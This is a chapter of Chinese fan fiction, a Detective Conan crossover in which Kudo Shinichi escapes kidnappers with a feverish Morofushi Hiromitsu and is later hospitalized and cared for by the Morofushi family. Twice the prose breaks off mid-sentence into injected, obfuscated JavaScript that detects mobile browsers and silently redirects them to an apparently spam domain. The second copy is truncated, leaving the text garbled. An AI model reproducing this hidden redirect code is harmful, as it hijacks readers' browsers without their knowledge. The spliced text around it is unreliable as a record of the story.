诸伏景光迷迷糊糊地“嗯”了两声,连工藤新一近在眼前的模样都有点模糊:“我们……” 他小脸上呈现出不健康的绯色,那对猫眼里全是生理性的泪水。工藤新一用手抚上他的额头,眉头狠狠一皱。 好烫。 工藤新一皱起眉——诸伏景光应该是因为受惊过度和着凉导致了发烧。 “景光,你先别说话,坚持一下,先别睡。”工藤新一扶着诸伏景光,给他换了个更舒服的姿势让他暂且休息,“别害怕,会没事的,相信我。” 诸伏景光强撑着点点头,努力眯缝着眼睛看着新一。 工藤新一则瞥了那两个劫匪一眼,把自己隐藏在角落里,先检查起自己和景光的情况。 景光除了高烧和因为麻醉剂导致的四肢无力外,身上没什么外伤,但书包被拿走了,现在大概在那两个人贩子手上。他则要惨一些,不仅外套书包都留在了书店里,身上还有一些挣扎后的淤青和擦伤,单薄的衬衫被撕开了一道口子——不过都是些小伤,不妨碍行动。 也幸好现在的人都认不出他身上的阿笠博士出品,手表和背带、运动鞋等都还好好地带在身上。但装有APTX的药盒放在了外衣里,跟外衣一起落在了书店…… 工藤新一懊悔地想:那他就没法变成十九岁的样子、把景光更快、更便捷地带离这里了。 看来下次得把药盒挂脖子上才行。 佐佐木警官送的手机也被收走了,但即使还在,这地方大概也没什么信号。 那就没别的办法了。工藤新一看着小木屋里堆放的罐装啤酒,心说只能借助阿笠博士的发明、以小孩子的身体逃离这里了。景光的身体最重要,他这次绝对不能出任何差错、冒任何风险。 工藤新一悄悄起身,侧耳听着那两个绑匪聊天。 “明天把这两个小孩儿带去群马,咱们就能大赚一笔、吃顿好的了!” “真是没想到啊,本来就想要那个小孤儿,还附赠了一个。大哥,咱们赚大了!” “喝!明天哥领你吃香的喝辣的!” 工藤新一心里一沉:原来他们的目标本来是自己一个。他却连累了景光。 不过,听他们的话,似乎犯人也就只有这两个人……卖去群马,意思是说,这个小木屋就在群马县附近吗? 他们被劫的时间大约是下午三点钟左右,现在的话……工藤新一看了眼手表,是六点一刻。再减去他们昏迷的时间和这两个人贩子喝酒的时间(根据酒瓶数量和人贩子醉酒状况推测,感谢毛利大叔)……那他们差不多是在五点左右被带到这里的。 按照时间推定,这里位于群马县和长野县交界的可能性非常大。 另外一边,忙完事回到家、却没有看到儿子和新一、给工藤新一打电话也没有任何回应的诸伏夫妇已经急疯了。 “请您回忆一下,这两个孩子放学时的着装打扮,”接待诸伏夫妇的警员道,“还有孩子们放学后常去的地点。” “是两个男孩子,小学三年级。”诸伏加奈哑着嗓子,“都是黑色短发,挺白的。新一君今天的衣服我不清楚,景光今天穿的是一件白色的体恤衫,搭了一件深蓝色的牛仔外套,下身穿的长裤。” “新一君?”路过的佐佐木警官忽然听见熟悉的名字,“孩子们的姓名是……?” “我的次子名叫诸伏景光,那个小男孩叫工藤新一。”诸伏英拓说。 “新一君身上有电话的,你们打过吗?”佐佐木索性也坐了下来。 一旁的诸伏高明扶着妈妈:“打过了,没有信号。” “不应该啊……新一那孩子还挺乖的……”佐佐木说,“景光君身上有通讯设备吗?两个孩子有没有说他们放学之后要去做什么之类的?” “没有,都没有。”诸伏英拓说,“我与内子去了学校附近的文具店、玩具店之类的地方,也没有发现。” 电光石火之间,一旁陪着高明来的大和敢助突然开口:“书店呢?” 诸伏高明望向他。 “我是说,书店,就是要绕个远路的那家,”大和敢助细细思索,“我有一次在那附近坐电车经过,好像看见那两个小子在那看书……新一君好像还看的是大部头。” 诸伏高明也想起来了:“没错,景光前几天确实跟我提过他和新一君去了一家书店,还说新一君看的书他都看不懂……今天放学早,还是书店的上新日,说不定会有线索!” “事不宜迟,我们这就去找。” 4. 失林 一行人风风火火地去了书店,果然,在书店老板那里得到了两个孩子确实来这里看书了的消息,还收获了工藤新一的书包和外套。 “那你知道他们两个什么时候走的吗?”佐佐木问,还递给了老板一张照片。 书店老板是个精神矍铄的老奶奶,摇摇头说:“没注意到啊……但是好像有两个不像好人的男的抱着孩子出去过。孩子没有什么动静,我也就没管——但是好像跟你这照片上的小孩儿挺像的。” “现在能确定,两个孩子确实是被什么人带走了。”佐佐木道,“我们排查了周围的商户,能得到的线索是确实有这么两个男人抱着小孩儿往城外方向去。这条街是小街,根本没有店铺安装监控。现在只能顺着这个方向排查了。” 诸伏高明看着作为证物的、新一的外衣和书包,皱起了眉。 “有什么发现吗,高明?”大和敢助问他。 “我只是在想,如果是把孩子们迷晕再带走,犯人应该不会把新一君的东西还留在书店里。”诸伏高明说,“新一君的警惕性一向很高,我觉得,很可能是在犯人把景光带走后,新一君注意到了这一点,在找景光的路上被犯人一起带走了。所以外衣和书包才会留在原地。” “可是,知道这些,又有什么用呢。” 大和敢助也不知道怎么安慰他,或者说,不知道该不该安慰他。只能干巴巴地说:“别放弃,一定能找到的。” “景光和那孩子一向聪明,会有办法的。” 说这话他自己心里都没底。九岁的孩子再聪明,能斗得过凶恶的犯人吗? 街上行人个个神色匆匆,初夏晚间带着凉意的风东躲西藏…… 事情似乎没有转机了。 而这些悲伤的人们不知道,工藤新一四个字就代表了希望。 小木屋里,工藤新一悄悄拿起了一罐啤酒。他调好鞋子的强度,一脚射中了背对他的那个男人。那男人晃了晃,仰面倒在地上,看样子已经摔晕过去了。 这一下动静不可谓不大,另一个匪徒顿时站起来直奔工藤新一而来。 诸伏景光看着新一小小的身影,在高大的劫匪面前是那么渺小,却又那么坚定。小孩子眼窝浅,他忽然有一种想流泪的冲动。 工藤新一不知道诸伏景光被他感动得不行,面对凶狠的匪徒,他不欲与之纠缠,只想速战速决。于是不顾自己受伤,将计就计挨了他一脚,被他压倒在地。趁着匪徒得意的空挡,迅速踢中他下三路,等那人从身上挪开,就手持啤酒瓶砸晕了他。 结束了,真是超乎寻常地快。 真是不敢相信,他工藤新一居然会被这种不入流的人贩子带走。工藤新一苦笑了一下,把压在自己身上的男人翻到一旁。他捂了捂刚刚挨了一脚的肚子,没事人一样朝一直看着这边的诸伏景光露出一个安抚的笑。 这要是让降谷先生和赤井先生他们知道了,恐怕又要被教育提高警惕心、凡事不许逞强了。 工藤新一扒下劫匪的衣服,从里面找出了自己的手机,发现果然没有信号也不多纠结。他把小木屋里的窗帘撕开、用布条把两个匪徒的手、脚都捆好。为了以防万一,还顺便用人贩子的□□“以其人之道还治其人之身”了一下。 景光需要马上去医院退烧,而这两个匪徒不一定什么时候就会醒过来。以防万一,他们得快点找到有信号的地方报警。 工藤新一把诸伏景光的书包拿好,脱下自己已经破破烂烂的衬衣,用景光水杯里的水打湿,做了个简易的“冰袋”,小心地围在诸伏景光的额头上,在他脑后打了个不伦不类的死结。 “新一?”诸伏景光烧的有点神志不清,但还记得自己的处境,“他们……” “没事了,”小少年安抚地朝他笑,湛蓝色的眼睛里全是氤氲的温柔,“已经没事了,景光。坏人们都晕过去了。” 他从诸伏景光的书包里翻出了中午剩下的一点便当,挑了几块让景光吃掉,又喂景光喝了点水壶里剩下的干净水,才把书包丢到一旁——他们实在不能带着这个负担一起走。 他又把伸缩背带解下来,哄着景光趴在自己身上,用背带把诸伏景光牢牢捆在背上。 诸伏景光意识到他要做什么,挣扎了两下:“不行新一,我很沉的……” “没事,我可是个侦探,侦探是无所不能的,就像福尔摩斯那样。”工藤新一哄着他,“要紧紧抱住我哦。不过不要睡觉,会着凉的。爸爸妈妈很快就能找到我们了,再坚持一下?我们还要回家吃寿司呢。” 景光也知道自己现在连走路都费劲,只好闷闷地“嗯”了一声,算是同意。他趴伏在工藤新一瘦弱的背上,本能地有点不安:他的小伙伴似乎太过瘦小了,背着他真的能承受住吗? 而且新一还把衬衫脱了下来,现在只穿了一件背心…… 背着景光费力站起身的工藤新一没注意到他的担忧——在工藤新一眼里,有背带在,诸伏景光就无论如何也不会摔下去,就算真的摔了,他也能护得住。他抹了把灰呛呛的脸,把人贩子的外衣拿起来,抖落了两下,递给背上的景光。 “可能有点不好闻,不知道那两个坏蛋多久没洗澡了。”工藤新一甚至开了个小玩笑,“景光先披着,忍一忍,再着凉就不好了。” 诸伏景光自知自己现在什么忙都帮不上,能做的只有不给新一添乱,于是听话地把大衣披在身上。 工藤新一颠了他一下,双手勾着诸伏景光的大腿,让他背得更稳定。然后一脚踹开小木屋的门,辨认了一下方向和地上的脚印,朝着人贩子来时的路一步步走了出去。 只要走到有人的地方就行了。 “才过去三个小时,还是很有希望的。”佐佐木一边不停拨打着工藤新一的手机,一边跟着警队挨家挨户讯问,“诸伏先生、诸伏太太,我们现在已经知道了两个孩子被带去了群马方向,也已经通知了群马警方帮助搜查——一定会有结果的,一定!” 工藤新一和诸伏景光那样的孩子,是会被上天眷顾的,一定不会有事的。佐佐木警官在心里说。 如果连两个孩子都找不到,他还当什么警察? 佐佐木想着那两个孩子的笑脸,想着工藤新一每一句甜甜的“佐佐木警官”,越发燃起了斗志。 晚上六点半,天色已经开始变暗。工藤新一背着诸伏景光,尽量快地走在林中的小路上。一边走,一边不断地和景光说着话。 “景光现在感觉怎么样?头疼不疼?冷不冷?”工藤新一大口喘着粗气,却仍然稳住声线问他。 “有一点晕,但是不冷的,”诸伏景光答道,“新一冷不冷?” 工藤新一今天穿的本来就是短裤短袖,现在上身的衬衣也围在了诸伏景光额头上,上半身就只剩下一件浸满汗水的小背心,树林里的凉风一吹,说不出的寒凉。再加上长时间的负重前行,身体不住地在发冷。可他却还睁眼说瞎话:“不冷啊,景光就像个小暖炉一样,背着景光我就一点都不冷了。” 话音刚落,工藤新一就一个没走稳,滑倒在了一个泥坑里。倒下时,他本能地想翻身卸力,但想到被背带捆在背上的景光,又硬生生克制住身体的动作,直愣愣地面朝下扑倒,手臂和膝盖都磕碰在地面上,被路上的石子划得鲜血淋漓。 “嘶……”他忍不住抽气,咬住下唇以防发出更多痛呼。 男孩的脸色顿时变得苍白,眉头委屈地皱在一起,呼吸的频率顿时失常。他身上的肌肉因为使用过度和疼痛而微微颤抖,汗水顺着他的脸颊滑落到地上,溅开一朵泥泞的水花。 ……嘶……这路上怎么这么多石头啊…… 摔这一下,诸伏景光原本的困倦瞬间被驱散,他惊慌失措地叠声问着:“新一!你怎么样!新一!还是放我下来吧新一!” “我没事的,就是滑了一下,别担心。” 诸伏景光又是发高烧又是麻醉药效没过,能坚持趴在他背上就不错了,自己根本走不了路,怎么可能放他下来?工藤新一没接他的话茬,撑着手,两次试图起身都中途夭折,终于在第三次时颤颤巍巍地重新站了起来。他身上泥水混着鲜血,膝盖手肘处更是一阵阵尖锐的疼痛。被路面划开的伤口里虽然没有脓水之类,却满是细碎的尘埃、沙砾。 诸伏景光担心道:“新一休息一会儿吧,坏人们不是已经晕过去了,追不上来的。” “现在不是人贩子的问题啊,景光。”工藤新一就着这个姿势停顿了一会儿,等待尖锐的疼痛变得麻木。然而他话只说了一半,真正的原因藏在心底。 景光的高烧一直不退,得赶紧带他走到有信号的地方联系警方和救护车,如果他们不主动联系外界,就现在的情况来看,警方先找到两个孩子的可能性并不大,就算全力出动也要耗费大量时间。景光的高烧不能拖,工藤新一现在能做的只有不让他睡觉见风和物理降温,这远远不够,还是得早点走出森林才行。 “都怪我……如果我没被那个人抓走,新一也就不会……”景光难过得快要哭出来了,声音也越来越低,呼出的热气打在工藤新一后颈上——依然高烧不退。 “笨蛋,”工藤新一熟练地转移话题,“景光可是帮忙抓住了两个诱拐小孩的人贩子呢,怎么能说是犯了错呢?景光听话,别睡,来,伸手——” 得给景光找点事做,否则他会一直自责,对心理健康绝对没有好处。 诸伏景光烧得不轻,闻言却还是强打精神、顺从地伸出手。工藤新一借机靠在树上停了一下,解下手表、掏出裤子里的手机,都递给了诸伏景光。 “呐,景光把这个手表戴上,然后帮我照明怎么样?我现在需要景光的帮助呢。”工藤新一匀了匀气,“还有手机——叔叔阿姨一定会一直给我们打电话,可是我不知道走到什么位置手机才会有信号,所以也麻烦景光帮我时刻看着点,有电话进来就马上接通——景光可以做到吗?” 果然,诸伏景光听说自己能帮得上忙,整个人都振奋了不少。虽然他四肢还是无力得很,却牢牢地抓住手机,并戴着开了照明模式的手表,把手搭在新一胸前,给新一照亮前路。 ‘我给新一照着路,他就不会再摔倒了。’小景光心里想。‘我已经给新一添了很多麻烦了,新一交代的事我一定要办好!’ “有消息了吗?”佐佐木问同事,“还是没找到确切的目击者?” “没有,佐佐木前辈。”一旁的警员苦笑着,“三个多小时了,路过的行人肯定是找不到了,店铺主人和住户恰巧看到犯人的也很少,因为没有特意记忆,现在说什么的都有。我们向每个方向都派了人手,现在也只能等了。” “家属情况怎么样?”佐佐木叹了口气,“尤其是那两个初中男生,让随行的女同事多关照一下,别急出病,那就雪上加霜了。” “他们还算稳定,但估计也已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137881|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到极限了。”那警员不忍地看向诸伏一家,“希望——” “打通了!前辈!电话……电话打通了!” 佐佐木瞪大眼睛,嘴巴颤抖地一张一合,像是不敢相信这个奇迹,什么话都说不出来。几乎是下一瞬间,所有附近的警员都跑向诸伏夫妇,围着那开了免提的手机,屏息凝神。 诸伏加奈捂着嘴,眼里是无边的狂喜和惶恐——这一次,会不会也是一场希望落空…… “新一!” 诸伏景光抓着手机,声音小小地惊呼:“是妈妈……妈妈的电话!” 工藤新一喘着粗气,闻言甚至一时没反应过来——他实在是太累、太累了,大脑似乎随着身体的疲惫停止了运转。明白电话接通了的一瞬间,他几乎跌坐于地:“景光快接,快接。” “嘀——” 诸伏景光似乎明白新一比自己更适合接这个救命的电话,于是伸着胳膊,把手机放在工藤新一的耳畔。自己则歪着脑袋,凑在一旁旁听。 “呼……加奈阿姨,我是工藤新一。景光就在我旁边。我们现在是安全的。” 电话对面的诸伏加奈终于忍不住痛哭出声。诸伏景光哑着嗓子,小猫似地安慰妈妈:“妈妈,我们现在没事的,妈妈不哭,妈妈不哭。” “好,”诸伏加奈努力地忍住,“妈妈不哭,宝贝。” “新一,你们现在在什么位置?犯人……坏蛋还在你们附近吗?”佐佐木警官急切地问。 工藤新一:“不在。我和景光逃出来了,犯人……先不说这个,我们现在应该是在长野县和群马县交界的森林里,都是针叶林,有很多红松,但具体位于哪个位置我不清楚。景光受到惊吓发了高烧,我正带着他沿一条土路往森林外围走。看方向应该是往长野方向去的,还请警官先生们沿着从长野到群马的方向调派人手。” “还有,我这里隐约看得到工厂排放的黑烟,我想我们大概是在某个工业园的东北方向。” 周围一干人心情还没平复,就被工藤新一条理清晰的陈述和安排震慑住了。大和敢助最先反应过来:“还不快去找!” 众警员一哄而散,该拿对讲机的拿对讲机,该启程支援的启程支援,该联系医院的联系医院。一时间,所有人都更有干劲了。 土路、红松林、工业园的东北方、群马方向…… 工藤新一提供的信息已经足够丰富,长野县警迅速锁定了两处位置,兵分两路展开搜寻。 “新一,景光君,”佐佐木警官开着警车,带着诸伏家的人开往郊区,“别害怕,警官叔叔们马上就能找到你们了。” 工藤新一仍然背着诸伏景光往外走——他走得越多,警官们就能越快地找到他们——哪怕他的双腿已经像灌了铅、几乎只能机械地在地上蹭着走:“佐佐木警官放心……呼……我这里有一个小手电筒,一直……呼……发着光,还有,景光现在在我背上,头上披了一件棕色的大衣……呼……请通知前来搜寻的警官们……” 警车里的诸伏一家全都愣住了。他们怎么也没想到,工藤新一居然是背着景光逃出来的。 他才九岁,那么幼小的一个孩子,背着一个跟他差不多大的男孩,累的上气不接下气却依然沉着冷静地自救、给警方以线索。话里话外,还一直强调景光的病情,半句不提自己,要不是为了向警方描述现状,恐怕都不会说出自己一直背着景光的事…… 他们家的小景光,真是交到了了不起的朋友啊。 半个小时后,长野县警在两个可疑地点之一的红松林外围找到了工藤新一和诸伏景光。 看到他们的样子时,不仅诸伏一家和大和敢助,几乎所有警员都忍不住红了眼眶。 两个粉雕玉琢的小孩子,经过一晚上的折腾,全都灰头土脸、满身尘土。诸伏景光发着高烧、眼里全是生理性的泪水,额头上绑着一卷半干了的衬衫。他迷迷糊糊地被背带绑在工藤新一的背上,小手无力地搂着他的脖颈。而工藤新一——没人知道这孩子到底是怎么背着景光走过大半土路的。 小男孩累得几乎说不出话,身上全都是泥泞的土渍,好像摔在地上了好几次;他身上只穿了背心和短裤,几乎都被汗液浸透;身上有多处摔伤,甚至有的还在缓慢地流血。他全身都在颤抖——不知是疼得还是累得,或是二者兼而有之。可他还是把自己和诸伏景光绑在一块儿,背着他、坚持着迈着步子,直到摔在奔过去的警员怀里。 “犯人,有两个。”他的声音低低的,“就在那条路尽头的……小木屋里……”然后几乎瞬间就昏睡过去。 “先生放心,景光君除了发烧外没有大碍,身上也几乎没什么外伤。”救护车上,护士对上了车的诸伏英拓说,“他被那边那个男孩保护得很好,物理降温和防风措施也很到位。” “新一君怎么样?”诸伏英拓目光复杂地看着浑身是伤的男孩。 “那个孩子吗?他身上的淤青、擦伤不少,伤口里还有很多沙砾。清理干净之后也可能有感染的风险——这得之后再看了。而且因为穿的少还出汗受风,可能会有点伤风感冒。” “那他现在昏睡过去,是……” “啊,”护士小姐有点心疼地看着工藤新一,“现在就是劳累过度,再加上一直紧绷着的弦一下松开。要我说,他真是了不得——” 是啊。诸伏英拓心想。 是个值得他们敬佩和感恩的孩子呢。 5. 涸鲋 一晚上的兵荒马乱,最后终于有了除犯罪分子外都皆大欢喜的结局。 警方顺着土路到达了那间破旧的小木屋,在里面找到了两个浑身酒气但已经醒来、努力想挣脱手脚束缚的人贩子。 他们毫无悬念地被捉拿归案,没审几下就供出了所有作案细节和买家信息,由此还扯出了一整条人口贩卖暗线——当然,这是后话。 医院走廊的灯管嗡嗡作响,消毒水气味像一层半透明的膜,把嘈杂关在门外。 病房里,诸伏景光陷在雪白被褥间,额前的退热贴已经换到第三片。高烧使他整夜在昏沉与清醒间沉浮,偶尔发出细碎的呓语,像迷失的小猫在梦里寻找归巢的路。直到晨光透过百叶窗,将一道道浅金色栅栏投在他瘦削的侧脸,体温才终于缓慢地、安静地落回正常刻度。 隔壁床,工藤新一睡得极沉。 输液针固定在他青白的手背,碘酒与血渍早已被护士擦净;膝盖与手肘的擦伤涂了厚厚一层药膏,纱布边缘微微卷起。他侧身蜷成小小一团,睫毛在面颊投下半月形阴影,呼吸均匀得像一条平缓的潮汐线。 医生来换过两次药,抽血、拍片、清创……所有动作都轻得像掠过水面的风,而他一次都未睁眼。仿佛要把整整一夜透支殆尽的体力,连本带利地讨回来。 “诸伏景光君和工藤新一君的家长在吗?”护士小姐问。 现在是事件结束后的第二日上午,两个孩子都还没睡醒。诸伏夫妇守了他们一整夜,刚睡下两个小时就又被叫醒。诸伏英拓先起身,让妻子继续休息。然后把病房门轻轻关好,披着一件深色大衣走向那位护士小姐。 他的眼睛是标准的凤眼——正如他遗传给长子高明的那样。此时这双凤眼里满是血丝,却仍然目光和缓地看向护士小姐。 护士见惯了这种场面,看到诸伏英拓有点邋遢的样子并不奇怪。她拿出几份检查报告,放在桌面上:“这些是两个孩子昨晚的检查结果。” “景光君没什么外伤,发烧也只是受惊导致的,没有细菌或病毒感染的迹象,也没有肺炎等并发症。我记得他今早退烧了吧?那基本就没事了,再观察一天就可以出院了。” “至于新一君,他身上伤口比较多,但都是皮外伤,也没有发炎的迹象。腹部有淤青,但没造成内出血,没有大碍。”她快速地说着,“但是全身检查的时候,有几处旧伤需要跟您说明一下。” “旧伤?”诸伏英拓本来还舒了一口气,“什么旧伤?” “您不知道?” 诸伏英拓叹了口气,委婉地说:“实话实说,女士,新一君并不是我的孩子,他……他的监护权在民/政/机/关那里。以及,他现在还失忆了的样子。” 护士小姐愣了愣:“这……” “不过今后那孩子我们家会照顾,所以有什么问题还请您跟我细说。”诸伏英拓认真地说。 护士沉吟片刻,还是继续往下说了:“新一君腹部左侧、左上臂等处曾经受过枪伤,身上也有多处割伤和烧伤的痕迹,但愈合得都很好。我们也并没有查出他有营养不良或者其他病史。只是因为枪伤的原因免疫力有些低下,容易产生上呼吸道感染——啊,就是普通的感冒。” 枪伤? 诸伏英拓百思不得其解——九岁的孩子,怎么会受那么多……不平常的伤呢? “关于您说的失忆问题,”护士翻了翻病历,“脑部CT并没有拍出他脑部有淤血或者肿块压迫神经,我想失忆的问题应该不是生理性的原因。” 诸伏英拓点点头,与护士小姐道过谢,拿着检查结果回了病房。 不是生理性的原因……那就是心理性的? 病房内,诸伏加奈已经醒了过来,看见丈夫细长的眉皱了起来,有些担心:“英拓?怎么了?” 诸伏英拓摇摇头,把声音压到最低,像怕惊动空气里漂浮的尘埃:“孩子们都还好吗?” “嗯,”诸伏加奈轻轻地说,“景光已经退烧了,新一君还睡着。不过好像做梦了,有点不安的样子。” 诸伏英拓用手抚摸了下次子的脸颊,然后搬来椅子,跟诸伏加奈一起坐在两张病床之间。他目光复杂地看着被子里蜷曲着身体的工藤新一,深呼吸了一下。 “加奈,刚刚护士把景光和新一君的检查报告拿给我了,景光和新一都没有什么暗伤之类的,休息两天就好了。”诸伏英拓说,“让我在意的是新一君身上的旧伤。”他把刚刚护士所说的话给妻子重复了一遍。 诸伏加奈轻轻握住丈夫的手。指尖冰凉,掌心却滚烫。她望向左侧那张床:被子隆起小小一团,工藤新一的脸陷在雪白枕套里,额发被汗水黏成细碎的弯。睫毛偶尔颤动,像在梦里仍背着谁赶路。 “……新一君失忆之前,到底是经历了什么?那么多伤,心理性的失忆……这……” “我知道你也有跟我一样的心思,是不是?”寂静片刻后,诸伏英拓问。 诸伏加奈眼里满是心疼:“嗯。我确实也动了想收养新一君的心思——但这孩子早熟又善良,我怕他以为我们是想用收养他表示感恩,怕他不接受——但我真的很喜欢这个孩子,我现在恨不得马上就去福利院办手续。” 诸伏英拓揽过她的肩膀:“这件事不急。新一君很有主意,收养的事还是得他自己同意才行。而且,你刚刚说的那个顾虑未尝没有道理,我们得好好思考自己到底是什么想法——这也是对新一君负责。还有,我们还得考虑高明和景光的意愿呢。” 诸伏加奈轻轻“嗯”了一声,目光落在熟睡的小新一脸上,忽然发现他好像在说什么梦话。 “快……”诸伏加奈辨认着工藤新一的口型,结合一点点气音,“对不起……对不起……” 做噩梦了吗?这孩子…… 按照程序,长野县警需要让诸伏景光和工藤新一在监护人陪同下做笔录。佐佐木警官担心孩子们留下心理阴影,就没有催促,而是派了两名经验丰富的温柔女警先过来医院,看看孩子们的情况。如果有需要,可以担当一下心理医生的职责,帮助两个孩子脱离心理问题;如果情况还好,就直接在医院把笔录做了——左右诸伏夫妇就在医院,而工藤新一目前的监护人空缺还挂在公家这边。 女警到的时候,工藤新一和诸伏景光已经相继醒来。 “警官姐姐好。”工藤新一又用上了点撒娇的语气——嘛,谁叫他搞晕那两个犯人的时候用的手段都不太适合被现在的世界知晓呢?他也只能卖个萌撒个娇,试图糊弄过去。 “你好呀,新一君、景光君。”女警们对这个睿智坚毅的男孩非常有好感,“现在身体难不难受啊?你们昨天的表现真的很棒的哦。” “都是新一的功劳。”诸伏景光抢着说,“新一好厉害的!” 工藤新一内心苦笑:喂喂,不要这样说啊…… “没有啦,景光太夸张了,其实我当时也是巧合,不知怎么那两个叔叔就都倒下了……”他理直气壮地说着自己都不信的敷衍之辞。 来来回回把各种借口说了个遍,女警终于完成了她的笔录。临走时,她看着两个玩笑着的孩子,心里直呼奇迹。 两个孩子似乎都没有留下什么心理阴影,这实在是太难得了。不过,也是件好事嘛。 午后的阳光被百叶窗切成一道道细长的金线,落在工藤新一雪白的被单上。警察走后,他百无聊赖地翻着报纸,油墨味混着消毒水,在空气里轻轻搅动。忽然,他喉咙一痒,轻轻咳嗽了几声——像猫儿打喷嚏,短促又克制。 门恰在此时被推开。 诸伏高明走在最前,外套搭在臂弯,凤眼里的担忧和疲惫被压得很平;大和敢助紧随其后,黝黑的手臂搭在高明肩膀上;最后探头进来的是上原由衣,女孩马尾轻晃,笑容明亮。 “哥哥!敢助哥!由衣姐姐!” 诸伏景光从被掳直到现在才见到哥哥,敢助哥和由衣姐更是好久没见,不肖说有些兴奋。他知道上原由衣还没见过新一,就高兴地做了“介绍人”的工作。 工藤新一笑着看景光,随后看向来人——上原警官……由衣姐也来了啊。 “你好,工藤君,初次见面,请多指教。”上原由衣率先和他打着招呼。 工藤新一弯起眼睛,刚想开口: “呃——” 怎么回事? 声音卡在喉咙,像被看不见的软木塞堵住。他下意识皱眉,喉结上下滚动,努力几次,却只挤出两声低哑的哼声。男孩的脖颈因用力而泛起一层薄红,像极了被晨曦烤透的樱花。 他怎么说不出话了? 工藤新一抬手按了按颈侧——不疼,却干涩发紧;再张嘴,依旧是哑的。 空气突然安静。 报纸在指尖滑下一角,墨字糊成一片小小的乌云。 上原由衣有点无措地看向另两位比自己大六岁的朋友。 大和敢助则和诸伏高明对视一眼,诸伏高明示意由衣先退开一点,然后自己坐到新一旁边:“新一君?” 这是什么副作用吗?还是我中毒了?工藤新一指了指自己的喉咙,朝高明哥摇摇头——指尖在颈侧虚划一道,示意“不痛”。随后,他抬眼,目光越过诸伏高明的肩膀,直直落在上原由衣脸上。 那双湛蓝的眸子盛满歉意与急切。 他张唇,极慢、极慢地用口型拼出一句无声的道歉: “对不起,我说不出话。” …… 工藤新一一脸生无可恋地被送去做了喉镜,因为不习惯那种异物感,还一直不断地呛咳。 而邻近的心理诊室,诸伏一家和大和敢助、上原由衣聚在一块儿。心理医生听了他们所说的情况,又仔细观察过工藤新一的状态,也有点摸不着头脑:“综合来看,工藤君的喉咙没有问题,那就是或许有一定的创伤后应激反应。失忆也许是心理原因,这次的失语也有可能是触发了他某种潜意识的应激——之所以说是潜意识,是因为他似乎只有身体上的反应,心理上好像并没有惊恐不安这一类的反应,也许是这种应激情境是在他失忆前发生的,他现在没有记忆,所以只有身体反应。” 诸伏高明却纠结于他看见的、工藤新一后来看向上原由衣时歉意的表情,于是询问医生。医生想了想:“可能是不知道怎么跟你们解释自己忽然失语了吧?也可能是不想让你们发现。” “啊,”诸伏高明点点头,“谢谢医生。” 不想让我们发现……这孩子是不是早就知道自己有应激症状? 还有,他看见上原由衣后的反应格外激烈,是由衣触发了他什么“潜意识记忆”吗? 可是……诸伏高明和大和敢助围着女孩转了好几圈,实在没发现她身上有什么东西有一定暗示性或者代表性。 那也许就单纯是这种装扮引起的?曾经有什么人跟今天的上原由衣穿得很像? 诸伏加奈站在病房门口,手里还攥着刚削好的苹果皮,一圈圈垂到地面,像条细瘦的、未完的绳。 她望着病床上的孩子—— 工藤新一正低头和景光一起写写画画,笔尖在纸上沙沙地走,额发滑落,遮住了那双过分安静的蓝眼睛。阳光打在他露出的手臂上,一道旧疤痕像是被岁月磨钝的银线,闪着冷而细的光。 诸伏加奈忽然想起护士那句“心理性的失忆”。 当记忆过于锋利,大脑会替人按下删除键。于是疼痛被剪成碎片,残留下的只有身体的本能——枪口的灼热、刀锋的冰凉、火舌卷过皮肤的焦味,全被锁进肌肉与神经,成为无声的警报器。 警报一响,喉咙便先失声; 警报再响,膝盖会先于意识发软; 警报三响,心跳像失控的鼓,却找不到害怕的源头。 “这孩子真是愈发惹人心疼啊。” 她在心里轻轻叹息,像怕惊动什么。 苹果皮终于断了,无声地落在她脚边。诸伏加奈弯腰拾起,指尖沾到一点苹果汁,微凉,却甜。 工藤新一吃着苹果,直觉阿姨和其他大人、哥哥姐姐想岔了点什么。但是他也不知道这到底是因为什么。 这一场失语来得毫无征兆——心理原因?拜托,他要是有这种问题早就应该犯了才对,呆在医院里怎么可能会忽然毫无征兆地失语?药物等物理作用也可以排除,喉镜显示他没有任何异常…… 病房里只剩钟表“咔哒、咔哒”地走。他盯着表,秒针马上就要转到“12”。 距离发现失语后一小时整,他喉咙里忽然滚过一阵温热的气流,像有人悄悄拔掉了那个无形的软木塞。 “……啊。”极轻的一声,却带着久违的震颤。他眨眨眼,把苹果核扔进垃圾桶,发出一声闷响。 工藤新一抬手摸了摸颈侧——那里脉搏平稳,没有任何异常。他低头看表,秒针仍在走,仿佛刚才的失声只是被时间偷走的一格空白。 真奇怪。 出院后,诸伏家的玄关多了一双小小的拖鞋,浅灰色,鞋面上绣着一只福尔摩斯的经典烟斗。工藤新一每次低头换鞋,都会想起福利院的硬木板床——可那画面只闪过一瞬,就被加奈阿姨温声的“今晚留下来吧”盖了过去。 理由总是五花八门: “伤口还要换药呀,阿姨不放心你。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从这天开始,工藤新一就处于一种极高警戒的状态,每天数次排查诸伏家附近的情况,每见到一个陌生人就要神情严肃地探究好一会儿。便利店门口抽烟的陌生男人、送报少年车筐里的反光、隔壁太太新雇的园艺工……每一个都被他盯得后背发毛。 他把可疑的人影、车牌号、甚至流浪狗吠叫的次数都默背进心里的小本子,却没对任何人提起。只是旁敲侧击地询问诸伏夫妇最近有没有和什么人起过冲突。 “没有呢——话说新一君最近总是在找什么的样子,是丢了什么东西吗?”诸伏加奈笑着问他。 工藤新一又不能直接跟她说他在排查可能要杀害你们夫妻的未来凶手,只好笑笑,认真地胡说八道:“因为我最近总是觉得屋子附近有奇怪的气味,所以很好奇。加奈阿姨也要多留心哦,我在书上看到说,有奇怪气味的地方会发生奇怪的事呢。” 诸伏景光看看小伙伴,猫眼一眨——你明明昨天才和我说是在找你的扣子。 工藤新一讨好地朝他笑——那不是昨天嘛。 